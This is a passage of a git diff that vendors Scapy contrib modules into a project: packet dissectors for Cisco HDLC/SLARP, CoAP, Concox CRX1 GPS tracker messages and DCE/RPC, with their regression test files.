warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Cisco HDLC and SLARP +# scapy.contrib.status = loads + +# This layer is based on information from http://www.nethelp.no/net/cisco-hdlc.txt # noqa: E501 + +from scapy.data import DLT_C_HDLC +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ + IntEnumField, IntField, IPField, XShortField +from scapy.layers.l2 import Dot3, STP +from scapy.layers.inet import IP +from scapy.layers.inet6 import IPv6 +from scapy.config import conf + + +class CHDLC(Packet): + name = "Cisco HDLC" + fields_desc = [ByteEnumField("address", 0x0f, {0x0f: "unicast", 0x8f: "multicast"}), # noqa: E501 + ByteField("control", 0), + XShortField("proto", 0x0800)] + + +class SLARP(Packet): + name = "SLARP" + fields_desc = [IntEnumField("type", 2, {0: "request", 1: "reply", 2: "line keepalive"}), # noqa: E501 + ConditionalField(IPField("address", "192.168.0.1"), + lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 + ConditionalField(IPField("mask", "255.255.255.0"), + lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 + ConditionalField(XShortField("unused", 0), + lambda pkt: pkt.type == 0 or pkt.type == 1), # noqa: E501 + ConditionalField(IntField("mysequence", 0), + lambda pkt: pkt.type == 2), + ConditionalField(IntField("yoursequence", 0), + lambda pkt: pkt.type == 2), + ConditionalField(XShortField("reliability", 0xffff), + lambda pkt: pkt.type == 2)] + + +bind_layers(CHDLC, Dot3, proto=0x6558) +bind_layers(CHDLC, IP, proto=0x800) +bind_layers(CHDLC, IPv6, proto=0x86dd) +bind_layers(CHDLC, SLARP, proto=0x8035) +bind_layers(CHDLC, STP, proto=0x4242) + +conf.l2types.register(DLT_C_HDLC, CHDLC) diff --git a/libs/scapy/contrib/chdlc.uts b/libs/scapy/contrib/chdlc.uts new file mode 100755 index 0000000..8da22ea --- /dev/null +++ b/libs/scapy/contrib/chdlc.uts @@ -0,0 +1,30 @@ +% Regression tests for the avs module + ++ Basic AVS test + += Default build, storage and dissection + +pkt = CHDLC()/SLARP() +_filepath = get_temp_file(autoext=".pcap") +wrpcap(_filepath, pkt) +pkt1 = rdpcap(_filepath)[0] +assert raw(pkt) == raw(pkt1) +assert CHDLC in pkt +assert SLARP in pkt + +try: + os.remove(_filepath) +except Exception: + pass + += Build request + +pkt = CHDLC()/SLARP(type=0, address="192.168.0.131", mask="255.255.0.0") +pkt = CHDLC(raw(pkt)) +assert pkt[SLARP].address == "192.168.0.131" + += Build keepalive + +pkt = CHDLC()/SLARP(type=2, mysequence=123, yoursequence=123456789, reliability=555) +pkt = CHDLC(raw(pkt)) +assert pkt[SLARP].yoursequence == 123456789 diff --git a/libs/scapy/contrib/coap.py b/libs/scapy/contrib/coap.py new file mode 100755 index 0000000..1bb757c --- /dev/null +++ b/libs/scapy/contrib/coap.py @@ -0,0 +1,253 @@ +# This file is part of Scapy. +# See http://www.secdev.org/projects/scapy for more information. +# +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . +# +# Copyright (C) 2016 Anmol Sarma + +# scapy.contrib.description = Constrained Application Protocol (CoAP) +# scapy.contrib.status = loads + +""" +RFC 7252 - Constrained Application Protocol (CoAP) layer for Scapy +""" + +import struct + +from scapy.fields import BitEnumField, BitField, BitFieldLenField, \ + ByteEnumField, ShortField, StrField, StrLenField +from scapy.layers.inet import UDP +from scapy.packet import Packet, bind_layers +from scapy.error import warning +from scapy.compat import raw + +coap_codes = { + 0: "Empty", + # Request codes + 1: "GET", + 2: "POST", + 3: "PUT", + 4: "DELETE", + # Response codes + 65: "2.01 Created", + 66: "2.02 Deleted", + 67: "2.03 Valid", + 68: "2.04 Changed", + 69: "2.05 Content", + 128: "4.00 Bad Request", + 129: "4.01 Unauthorized", + 130: "4.02 Bad Option", + 131: "4.03 Forbidden", + 132: "4.04 Not Found", + 133: "4.05 Method Not Allowed", + 134: "4.06 Not Acceptable", + 140: "4.12 Precondition Failed", + 141: "4.13 Request Entity Too Large", + 143: "4.15 Unsupported Content-Format", + 160: "5.00 Internal Server Error", + 161: "5.01 Not Implemented", + 162: "5.02 Bad Gateway", + 163: "5.03 Service Unavailable", + 164: "5.04 Gateway Timeout", + 165: "Proxying Not Supported"} + +coap_options = ({ + 1: "If-Match", + 3: "Uri-Host", + 4: "ETag", + 5: "If-None-Match", + 7: "Uri-Port", + 8: "Location-Path", + 11: "Uri-Path", + 12: "Content-Format", + 14: "Max-Age", + 15: "Uri-Query", + 17: "Accept", + 20: "Location-Query", + 35: "Proxy-Uri", + 39: "Proxy-Scheme", + 60: "Size1" +}, + { + "If-Match": 1, + "Uri-Host": 3, + "ETag": 4, + "If-None-Match": 5, + "Uri-Port": 7, + "Location-Path": 8, + "Uri-Path": 11, + "Content-Format": 12, + "Max-Age": 14, + "Uri-Query": 15, + "Accept": 17, + "Location-Query": 20, + "Proxy-Uri": 35, + "Proxy-Scheme": 39, + "Size1": 60 +}) + + +def _get_ext_field_size(val): + if val >= 15: + warning("Invalid Option Delta or Length") + if val == 14: + return 2 + if val == 13: + return 1 + return 0 + + +def _get_delta_ext_size(pkt): + return _get_ext_field_size(pkt.delta) + + +def _get_len_ext_size(pkt): + return _get_ext_field_size(pkt.len) + + +def _get_abs_val(val, ext_val): + if val >= 15: + warning("Invalid Option Length or Delta %d" % val) + if val == 14: + return 269 + struct.unpack('H', ext_val)[0] + if val == 13: + return 13 + struct.unpack('B', ext_val)[0] + return val + + +def _get_opt_val_size(pkt): + return _get_abs_val(pkt.len, pkt.len_ext) + + +class _CoAPOpt(Packet): + fields_desc = [BitField("delta", 0, 4), + BitField("len", 0, 4), + StrLenField("delta_ext", None, length_from=_get_delta_ext_size), # noqa: E501 + StrLenField("len_ext", None, length_from=_get_len_ext_size), + StrLenField("opt_val", None, length_from=_get_opt_val_size)] + + @staticmethod + def _populate_extended(val): + if val >= 269: + return struct.pack('H', val - 269), 14 + if val >= 13: + return struct.pack('B', val - 13), 13 + return None, val + + def do_build(self): + self.delta_ext, self.delta = self._populate_extended(self.delta) + self.len_ext, self.len = self._populate_extended(len(self.opt_val)) + + return Packet.do_build(self) + + def guess_payload_class(self, payload): + if payload[:1] != b"\xff": + return _CoAPOpt + else: + return Packet.guess_payload_class(self, payload) + + +class _CoAPOptsField(StrField): + islist = 1 + + def i2h(self, pkt, x): + return [(coap_options[0][o[0]], o[1]) if o[0] in coap_options[0] else o for o in x] # noqa: E501 + + # consume only the coap layer from the wire string + def getfield(self, pkt, s): + opts = self.m2i(pkt, s) + used = 0 + for o in opts: + used += o[0] + return s[used:], [(o[1], o[2]) for o in opts] + + def m2i(self, pkt, x): + opts = [] + o = _CoAPOpt(x) + cur_delta = 0 + while isinstance(o, _CoAPOpt): + cur_delta += _get_abs_val(o.delta, o.delta_ext) + # size of this option in bytes + u = 1 + len(o.opt_val) + len(o.delta_ext) + len(o.len_ext) + opts.append((u, cur_delta, o.opt_val)) + o = o.payload + return opts + + def i2m(self, pkt, x): + if not x: + return b"" + opt_lst = [] + for o in x: + if isinstance(o[0], str): + opt_lst.append((coap_options[1][o[0]], o[1])) + else: + opt_lst.append(o) + opt_lst.sort(key=lambda o: o[0]) + + opts = _CoAPOpt(delta=opt_lst[0][0], opt_val=opt_lst[0][1]) + high_opt = opt_lst[0][0] + for o in opt_lst[1:]: + opts = opts / _CoAPOpt(delta=o[0] - high_opt, opt_val=o[1]) + high_opt = o[0] + + return raw(opts) + + +class _CoAPPaymark(StrField): + + def i2h(self, pkt, x): + return x + + def getfield(self, pkt, s): + (u, m) = self.m2i(pkt, s) + return s[u:], m + + def m2i(self, pkt, x): + if len(x) > 0 and x[:1] == b"\xff": + return 1, b'\xff' + return 0, b'' + + def i2m(self, pkt, x): + return x + + +class CoAP(Packet): + __slots__ = ["content_format"] + name = "CoAP" + + fields_desc = [BitField("ver", 1, 2), + BitEnumField("type", 0, 2, {0: "CON", 1: "NON", 2: "ACK", 3: "RST"}), # noqa: E501 + BitFieldLenField("tkl", None, 4, length_of='token'), + ByteEnumField("code", 0, coap_codes), + ShortField("msg_id", 0), + StrLenField("token", "", length_from=lambda pkt: pkt.tkl), + _CoAPOptsField("options", []), + _CoAPPaymark("paymark", b"") + ] + + def getfieldval(self, attr): + v = getattr(self, attr) + if v: + return v + return Packet.getfieldval(self, attr) + + def post_dissect(self, pay): + for k in self.options: + if k[0] == "Content-Format": + self.content_format = k[1] + return pay + + +bind_layers(UDP, CoAP, sport=5683) +bind_layers(UDP, CoAP, dport=5683) diff --git a/libs/scapy/contrib/coap.uts b/libs/scapy/contrib/coap.uts new file mode 100755 index 0000000..a777735 --- /dev/null +++ b/libs/scapy/contrib/coap.uts @@ -0,0 +1,63 @@ +% CoAP layer test campaign + ++ Syntax check += Import the CoAP layer +from scapy.contrib.coap import * + ++ Test CoAP += CoAP default values +assert(raw(CoAP()) == b'\x40\x00\x00\x00') + += Token length calculation +p = CoAP(token='foobar') +assert(CoAP(raw(p)).tkl == 6) + += CON GET dissect +p = CoAP(b'\x40\x01\xd9\xe1\xbb\x2e\x77\x65\x6c\x6c\x2d\x6b\x6e\x6f\x77\x6e\x04\x63\x6f\x72\x65') +assert(p.code == 1) +assert(p.ver == 1) +assert(p.tkl == 0) +assert(p.tkl == 0) +assert(p.msg_id == 55777) +assert(p.token == b'') +assert(p.type == 0) +assert(p.options == [('Uri-Path', b'.well-known'), ('Uri-Path', b'core')]) + += Extended option delta +assert(raw(CoAP(options=[("Uri-Query", "query")])) == b'\x40\x00\x00\x00\xd5\x02\x71\x75\x65\x72\x79') + += Extended option length +assert(raw(CoAP(options=[("Location-Path", 'x' * 280)])) == b'\x40\x00\x00\x00\x8e\x0b\x00' + b'\x78' * 280) + += Options should be ordered by option number +assert(raw(CoAP(options=[("Uri-Query", "b"),("Uri-Path","a")])) == b'\x40\x00\x00\x00\xb1\x61\x41\x62') + += Options of the same type should not be reordered +assert(raw(CoAP(options=[("Uri-Path", "b"),("Uri-Path","a")])) == b'\x40\x00\x00\x00\xb1\x62\x01\x61') + ++ Test layer binding += Destination port +p = UDP()/CoAP() +assert(p[UDP].dport == 5683) + += Source port +s = b'\x16\x33\xa0\xa4\x00\x78\xfe\x8b\x60\x45\xd9\xe1\xc1\x28\xff\x3c\x2f\x3e\x3b\x74\x69\x74\x6c\x65\x3d\x22\x47\x65' \ + b'\x6e\x65\x72\x61\x6c\x20\x49\x6e\x66\x6f\x22\x3b\x63\x74\x3d\x30\x2c\x3c\x2f\x74\x69\x6d\x65\x3e\x3b\x69\x66\x3d' \ + b'\x22\x63\x6c\x6f\x63\x6b\x22\x3b\x72\x74\x3d\x22\x54\x69\x63\x6b\x73\x22\x3b\x74\x69\x74\x6c\x65\x3d\x22\x49\x6e' \ + b'\x74\x65\x72\x6e\x61\x6c\x20\x43\x6c\x6f\x63\x6b\x22\x3b\x63\x74\x3d\x30\x3b\x6f\x62\x73\x2c\x3c\x2f\x61\x73\x79' \ + b'\x6e\x63\x3e\x3b\x63\x74\x3d\x30' +assert(CoAP in UDP(s)) + += building with a text/plain payload +p = CoAP(ver = 1, type = 0, code = 0x42, msg_id = 0xface, options=[("Content-Format", b"\x00")], paymark = b"\xff") +p /= Raw(b"\xde\xad\xbe\xef") +assert(raw(p) == b'\x40\x42\xfa\xce\xc1\x00\xff\xde\xad\xbe\xef') + += dissection with a text/plain payload +p = CoAP(raw(p)) +assert(p.ver == 1) +assert(p.type == 0) +assert(p.code == 0x42) +assert(p.msg_id == 0xface) +assert(isinstance(p.payload, Raw)) +assert(p.payload.load == b'\xde\xad\xbe\xef') diff --git a/libs/scapy/contrib/concox.py b/libs/scapy/contrib/concox.py new file mode 100755 index 0000000..c2b3cba --- /dev/null +++ b/libs/scapy/contrib/concox.py @@ -0,0 +1,307 @@ +# Copyright (C) 2019 Juciano Cardoso +# 2019 Guillaume Valadon +## +# This program is published under a GPLv2 license + +# scapy.contrib.description = Concox CRX1 unit tests +# scapy.contrib.status = loads + +import binascii + +from scapy.packet import Packet, bind_layers +from scapy.layers.inet import TCP, UDP +from scapy.fields import BitField, BitEnumField, X3BytesField, ShortField, \ + XShortField, FieldLenField, PacketLenField, XByteField, XByteEnumField, \ + ByteEnumField, StrFixedLenField, ConditionalField, FlagsField, ByteField, \ + IntField, XIntField, StrLenField, ScalingField + +PROTOCOL_NUMBERS = { + 0x01: 'LOGIN MESSAGE', + 0x13: 'HEARTBEAT', + 0x12: 'LOCATION', + 0x16: 'ALARM', + 0x80: 'ONLINE COMMAND', + 0x15: 'ONLINE COMMAND REPLYED', + 0x94: 'INFORMATION TRANSMISSION', +} + +SUBPROTOCOL_NUMBERS = { + 0x00: "EXTERNAL POWER VOLTAGE", + 0x04: "TERMINAL STATUS SYNCHRONIZATION", + 0x05: "DOOR STATUS", +} + +VOLTAGE_LEVELS = { + 0x00: "No Power (Shutdown)", + 0x01: "Extremely Low Battery", + 0x02: "Very Low Battery", + 0x03: "Low Battery", + 0x04: "Medium", + 0x05: "High", + 0x06: "Very High", +} + +GSM_SIGNAL_STRENGTH = { + 0x00: "No Signal", + 0x01: "Extremely Weak Signal", + 0x02: "Very Weak Signal", + 0x03: "Good Signal", + 0x04: "Strong Signal", +} + +LANGUAGE = { + 0x01: "Chinese", + 0x02: "English", +} + + +class BCDStrFixedLenField(StrFixedLenField): + def i2h(self, pkt, x): + if isinstance(x, bytes): + return binascii.b2a_hex(x) + return binascii.a2b_hex(x) + + +class CRX1NewPacketContent(Packet): + name = "CRX1 New Packet Content" + fields_desc = [ + XByteEnumField('protocol_number', 0x12, PROTOCOL_NUMBERS), + # Login + ConditionalField( + BCDStrFixedLenField('terminal_id', '00000000', length=8), lambda + pkt: len(pkt.original) > 5 and pkt.protocol_number == 0x01), + # GPS Location + ConditionalField( + ByteField('year', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. + protocol_number in (0x12, 0x16)), + ConditionalField( + ByteField('month', 0x01), lambda pkt: len(pkt.original) > 5 and pkt + .protocol_number in (0x12, 0x16)), + ConditionalField( + ByteField('day', 0x01), lambda pkt: len(pkt.original) > 5 and pkt. + protocol_number in (0x12, 0x16)), + ConditionalField( + ByteField('hour', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. + protocol_number in (0x12, 0x16)), + ConditionalField( + ByteField('minute', 0x00), lambda pkt: len(pkt.original) > 5 and + pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + ByteField('second', 0x00), lambda pkt: len(pkt.original) > 5 and + pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + BitField('gps_information_length', 0x00, 4), lambda pkt: len( + pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + BitField('positioning_satellite_number', 0x00, 4), lambda pkt: len( + pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + ScalingField('latitude', 0x00, + scaling=1.0 / 1800000, ndigits=6, fmt="!I"), + lambda pkt: len(pkt.original) > 5 and \ + pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + ScalingField('longitude', 0x00, + scaling=1.0 / 1800000, ndigits=6, fmt="!I"), + lambda pkt: len(pkt.original) > 5 and \ + pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + ByteField('speed', 0x00), lambda pkt: len(pkt.original) > 5 and pkt + .protocol_number in (0x12, 0x16)), + ConditionalField( + BitField('course', 0x00, 10), lambda pkt: len(pkt.original) > 5 and + pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + BitEnumField('latitude_hemisphere', 0x00, 1, { + 0: "South", + 1: "North" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x12, 0x16)), + ConditionalField( + BitEnumField('longitude_hemisphere', 0x00, 1, { + 0: "East", + 1: "West" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x12, 0x16)), + ConditionalField( + BitEnumField('gps_been_positioning', 0x00, 1, { + 0: "No", + 1: "Yes" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x12, 0x16)), + ConditionalField( + BitEnumField('gps_status', 0x00, 1, { + 0: "GPS real-time", + 1: "Differential positioning" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x12, 0x16)), + ConditionalField( + BitField('course_status_reserved', 0x00, 2), lambda pkt: len( + pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + ByteField('lbs_length', 0x00), + lambda pkt: len(pkt.original) > 5 and \ + pkt.protocol_number in (0x16, )), + ConditionalField( + XShortField('mcc', 0x00), lambda pkt: len(pkt.original) > 5 and pkt + .protocol_number in (0x12, 0x16)), + ConditionalField( + XByteField('mnc', 0x00), lambda pkt: len(pkt.original) > 5 and pkt. + protocol_number in (0x12, 0x16)), + ConditionalField( + XShortField('lac', 0x00), lambda pkt: len(pkt.original) > 5 and pkt + .protocol_number in (0x12, 0x16)), + ConditionalField( + X3BytesField('cell_id', 0x00), + lambda pkt: len(pkt.original) > 5 and \ + pkt.protocol_number in (0x12, 0x16)), + ConditionalField( + IntField('mileage', 0x00), lambda pkt: len(pkt.original) > 5 and + pkt.protocol_number in (0x12, ) and len(pkt.original) > 31), + # Heartbeat + ConditionalField( + BitEnumField('defence', 0x00, 1, { + 0: "Deactivated", + 1: "Activated" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x13, 0x16)), + ConditionalField( + BitEnumField('acc', 0x00, 1, { + 0: "Low", + 1: "High" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x13, 0x16)), + ConditionalField( + BitEnumField('charge', 0x00, 1, { + 0: "Not Charge", + 1: "Charging" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x13, 0x16)), + ConditionalField( + BitEnumField( + 'alarm', 0x00, 3, { + 0: "Normal", + 1: "Vibration", + 2: "Power Cut", + 3: "Low Battery", + 4: "SOS" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number + in (0x13, 0x16)), + ConditionalField( + BitEnumField('gps_tracking', 0x00, 1, { + 0: "Not Charge", + 1: "Charging" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x13, 0x16)), + ConditionalField( + BitEnumField('oil_and_eletricity', 0x00, 1, { + 0: "Connected", + 1: "Disconnected" + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x13, 0x16)), + ConditionalField( + ByteEnumField("voltage_level", 0x00, VOLTAGE_LEVELS), lambda pkt: + len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x16)), + ConditionalField( + ByteEnumField("gsm_signal_strength", 0x00, + GSM_SIGNAL_STRENGTH), lambda pkt: len(pkt.original) > + 5 and pkt.protocol_number in (0x13, 0x16)), + # Online Command + ConditionalField( + FieldLenField('command_length', + None, + fmt='B', + length_of="command_content"), lambda pkt: + len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)), + ConditionalField( + XIntField('server_flag_bit', 0x00), lambda pkt: len(pkt.original) > + 5 and pkt.protocol_number in (0x80, 0x15)), + ConditionalField( + StrLenField( + "command_content", + "", + length_from=lambda pkt: pkt.command_length - 4), lambda pkt: + len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)), + # Commun + ConditionalField( + ByteEnumField( + "alarm_extended", 0x00, { + 0x00: "Normal", + 0x01: "SOS", + 0x02: "Power cut", + 0x03: "Vibration", + 0x04: "Enter fence", + 0x05: "Exit fence", + 0x06: "Over speed", + 0x09: "Displacement", + 0x0a: "Enter GPS dead zone", + 0x0b: "Exit GPS dead zone", + 0x0c: "Power on", + 0x0d: "GPS First fix notice", + 0x0e: "Low battery", + 0x0f: "Low battery protection", + 0x10: "SIM Change", + 0x11: "Power off", + 0x12: "Airplane mode", + 0x13: "Disassemble", + 0x14: "Door", + 0xfe: "ACC On", + 0xff: "ACC Off", + }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number + in (0x13, 0x15, 0x16)), + ConditionalField( + ByteEnumField("language", 0x00, + LANGUAGE), lambda pkt: len(pkt.original) > 5 and pkt. + protocol_number in (0x13, 0x15, 0x16)), + # Information transmission + ConditionalField( + ByteEnumField("subprotocol_number", 0x00, + SUBPROTOCOL_NUMBERS), lambda pkt: len(pkt.original) > + 5 and pkt.protocol_number in (0x94, )), + ConditionalField( + ShortField('external_battery', + 0x00), lambda pkt: len(pkt.original) > 5 and pkt. + protocol_number in (0x94, ) and pkt.subprotocol_number == 0x00), + ConditionalField( + FlagsField('external_io_detection', 0x00, 8, [ + 'door_status', + 'trigger_status', + 'io_status', + ]), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in ( + 0x94, ) and pkt.subprotocol_number == 0x05), + # Default + XShortField('information_serial_number', None), + XShortField('crc', None), + ] + + +class CRX1New(Packet): + name = "CRX1 New" + fields_desc = [ + XShortField('start_bit', 0x7878), + ConditionalField(ByteField( + 'default_packet_length', + None, + ), lambda pkt: pkt.start_bit == 0x7878), + ConditionalField(ShortField( + 'extended_packet_length', + None, + ), lambda pkt: pkt.start_bit == 0x7979), + ConditionalField( + PacketLenField('default_packet_content', + None, + CRX1NewPacketContent, + length_from=lambda pkt: pkt.default_packet_length), + lambda pkt: pkt.start_bit == 0x7878), + ConditionalField( + PacketLenField('extended_packet_content', + None, + CRX1NewPacketContent, + length_from=lambda pkt: pkt.extended_packet_length), + lambda pkt: pkt.start_bit == 0x7979), + XShortField('end_bit', 0x0d0a), + ] + + +bind_layers(TCP, CRX1New, sport=8821, dport=8821) +bind_layers(UDP, CRX1New, sport=8821, dport=8821) diff --git a/libs/scapy/contrib/dce_rpc.py b/libs/scapy/contrib/dce_rpc.py new file mode 100755 index 0000000..00c8ec1 --- /dev/null +++ b/libs/scapy/contrib/dce_rpc.py @@ -0,0 +1,164 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) 2016 Gauthier Sebaux + +# scapy.contrib.description = DCE/RPC +# scapy.contrib.status = loads + +""" +A basic dissector for DCE/RPC. +Isn't reliable for all packets and for building +""" + +import struct + +# TODO: namespace locally used fields +from scapy.packet import Packet, Raw, bind_layers +from scapy.fields import BitEnumField, ByteEnumField, ByteField, \ + FlagsField, IntField, LenField, ShortField, UUIDField, XByteField, \ + XShortField + + +# Fields +class EndiannessField(object): + """Field which change the endianness of a sub-field""" + __slots__ = ["fld", "endianess_from"] + + def __init__(self, fld, endianess_from): + self.fld = fld + self.endianess_from = endianess_from + + def set_endianess(self, pkt): + """Add the endianness to the format""" + end = self.endianess_from(pkt) + if isinstance(end, str) and end: + if isinstance(self.fld, UUIDField): + self.fld.uuid_fmt = (UUIDField.FORMAT_LE if end == '<' + else UUIDField.FORMAT_BE) + else: + # fld.fmt should always start with a order specifier, cf field + # init + self.fld.fmt = end[0] + self.fld.fmt[1:] + self.fld.struct = struct.Struct(self.fld.fmt) + + def getfield(self, pkt, buf): + """retrieve the field with endianness""" + self.set_endianess(pkt) + return self.fld.getfield(pkt, buf) + + def addfield(self, pkt, buf, val): + """add the field with endianness to the buffer""" + self.set_endianess(pkt) + return self.fld.addfield(pkt, buf, val) + + def __getattr__(self, attr): + return getattr(self.fld, attr) + + +# DCE/RPC Packet +DCE_RPC_TYPE = ["request", "ping", "response", "fault", "working", "no_call", + "reject", "acknowledge", "connectionless_cancel", "frag_ack", + "cancel_ack"] +DCE_RPC_FLAGS1 = ["reserved_0", "last_frag", "frag", "no_frag_ack", "maybe", + "idempotent", "broadcast", "reserved_7"] +DCE_RPC_FLAGS2 = ["reserved_0", "cancel_pending", "reserved_2", "reserved_3", + "reserved_4", "reserved_5", "reserved_6", "reserved_7"] + + +def dce_rpc_endianess(pkt): + """Determine the right endianness sign for a given DCE/RPC packet""" + if pkt.endianness == 0: # big endian + return ">" + elif pkt.endianness == 1: # little endian + return "<" + else: + return "!" + + +class DceRpc(Packet): + """DCE/RPC packet""" + name = "DCE/RPC" + fields_desc = [ + ByteField("version", 4), + ByteEnumField("type", 0, DCE_RPC_TYPE), + FlagsField("flags1", 0, 8, DCE_RPC_FLAGS1), + FlagsField("flags2", 0, 8, DCE_RPC_FLAGS2), + BitEnumField("endianness", 0, 4, ["big", "little"]), + BitEnumField("encoding", 0, 4, ["ASCII", "EBCDIC"]), + ByteEnumField("float", 0, ["IEEE", "VAX", "CRAY", "IBM"]), + ByteField("DataRepr_reserved", 0), + XByteField("serial_high", 0), + EndiannessField(UUIDField("object_uuid", None), + endianess_from=dce_rpc_endianess), + EndiannessField(UUIDField("interface_uuid", None), + endianess_from=dce_rpc_endianess), + EndiannessField(UUIDField("activity", None), + endianess_from=dce_rpc_endianess), + EndiannessField(IntField("boot_time", 0), + endianess_from=dce_rpc_endianess), + EndiannessField(IntField("interface_version", 1), + endianess_from=dce_rpc_endianess), + EndiannessField(IntField("sequence_num", 0), + endianess_from=dce_rpc_endianess), + EndiannessField(ShortField("opnum", 0), + endianess_from=dce_rpc_endianess), + EndiannessField(XShortField("interface_hint", 0xffff), + endianess_from=dce_rpc_endianess), + EndiannessField(XShortField("activity_hint", 0xffff), + endianess_from=dce_rpc_endianess), + EndiannessField(LenField("frag_len", None, fmt="H"), + endianess_from=dce_rpc_endianess), + EndiannessField(ShortField("frag_num", 0), + endianess_from=dce_rpc_endianess), + ByteEnumField("auth", 0, ["none"]), # TODO other auth ? + XByteField("serial_low", 0), + ] + + +# Heuristically way to find the payload class +# +# To add a possible payload to a DCE/RPC packet, one must first create the +# packet class, then instead of binding layers using bind_layers, he must +# call DceRpcPayload.register_possible_payload() with the payload class as +# parameter. +# +# To be able to decide if the payload class is capable of handling the rest of +# the dissection, the classmethod can_handle() should be implemented in the +# payload class. This method is given the rest of the string to dissect as +# first argument, and the DceRpc packet instance as second argument. Based on +# this information, the method must return True if the class is capable of +# handling the dissection, False otherwise +class DceRpcPayload(Packet): + """Dummy class which use the dispatch_hook to find the payload class""" + _payload_class = [] + + @classmethod + def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs): + """dispatch_hook to choose among different registered payloads""" + for klass in cls._payload_class: + if hasattr(klass, "can_handle") and \ + klass.can_handle(_pkt, _underlayer): + return klass + print("DCE/RPC payload class not found or undefined (using Raw)") + return Raw + + @classmethod + def register_possible_payload(cls, pay): + """Method to call from possible DCE/RPC endpoint to register it as + possible payload""" + cls._payload_class.append(pay) + + +bind_layers(DceRpc, DceRpcPayload) diff --git a/libs/scapy/contrib/dce_rpc.uts b/libs/scapy/contrib/dce_rpc.uts new file mode 100755 index 0000000..3a5b13a --- /dev/null +++ b/libs/scapy/contrib/dce_rpc.uts @@ -0,0 +1,101 @@ +% DCE/RPC layer test campaign + ++ Syntax check += Import the DCE/RPC layer +import re +from scapy.contrib.dce_rpc import * +from uuid import UUID + + ++ Check EndiannessField + += Little Endian IntField getfield +f = EndiannessField(IntField('f', 0), lambda p: '<') +f.getfield(None, bytearray.fromhex('0102030405')) == (b'\x05', 0x04030201) + += Little Endian IntField addfield +f = EndiannessField(IntField('f', 0), lambda p: '<') +f.addfield(None, b'\x01', 0x05040302) == bytearray.fromhex('0102030405') + += Big Endian IntField getfield +f = EndiannessField(IntField('f', 0), lambda p: '>') +f.getfield(None, bytearray.fromhex('0102030405')) == (b'\x05', 0x01020304) + += Big Endian IntField addfield +f = EndiannessField(IntField('f', 0), lambda p: '>') +f.addfield(None, b'\x01', 0x02030405) == bytearray.fromhex('0102030405') + += Little Endian StrField getfield +f = EndiannessField(StrField('f', 0), lambda p: '<') +f.getfield(None, '0102030405') == (b'', '0102030405') + += Little Endian StrField addfield +f = EndiannessField(StrField('f', 0), lambda p: '<') +f.addfield(None, b'01', '02030405') == b'0102030405' + += Big Endian StrField getfield +f = EndiannessField(StrField('f', 0), lambda p: '>') +f.getfield(None, '0102030405') == (b'', '0102030405') + += Big Endian StrField addfield +f = EndiannessField(StrField('f', 0), lambda p: '>') +f.addfield(None, b'01', '02030405') == b'0102030405' + += Little Endian UUIDField getfield +* The endianness of a UUIDField should be apply by block on each block in +* parenthesis '(01234567)-(89ab)-(cdef)-(01)(23)-(45)(67)(89)(ab)(cd)(ef)' + +f = EndiannessField(UUIDField('f', None), lambda p: '<') +f.getfield(None, hex_bytes('0123456789abcdef0123456789abcdef')) == (b'', UUID('67452301-ab89-efcd-0123-456789abcdef')) + += Little Endian UUIDField addfield +f = EndiannessField(UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef'), lambda p: '<') +f.addfield(None, b'', f.default) == hex_bytes('67452301ab89efcd0123456789abcdef') + += Big Endian UUIDField getfield +f = EndiannessField(UUIDField('f', None), lambda p: '>') +f.getfield(None, hex_bytes('0123456789abcdef0123456789abcdef')) == (b'', UUID('01234567-89ab-cdef-0123456789abcdef')) + += Big Endian UUIDField addfield +f = EndiannessField(UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef'), lambda p: '>') +f.addfield(None, b'', 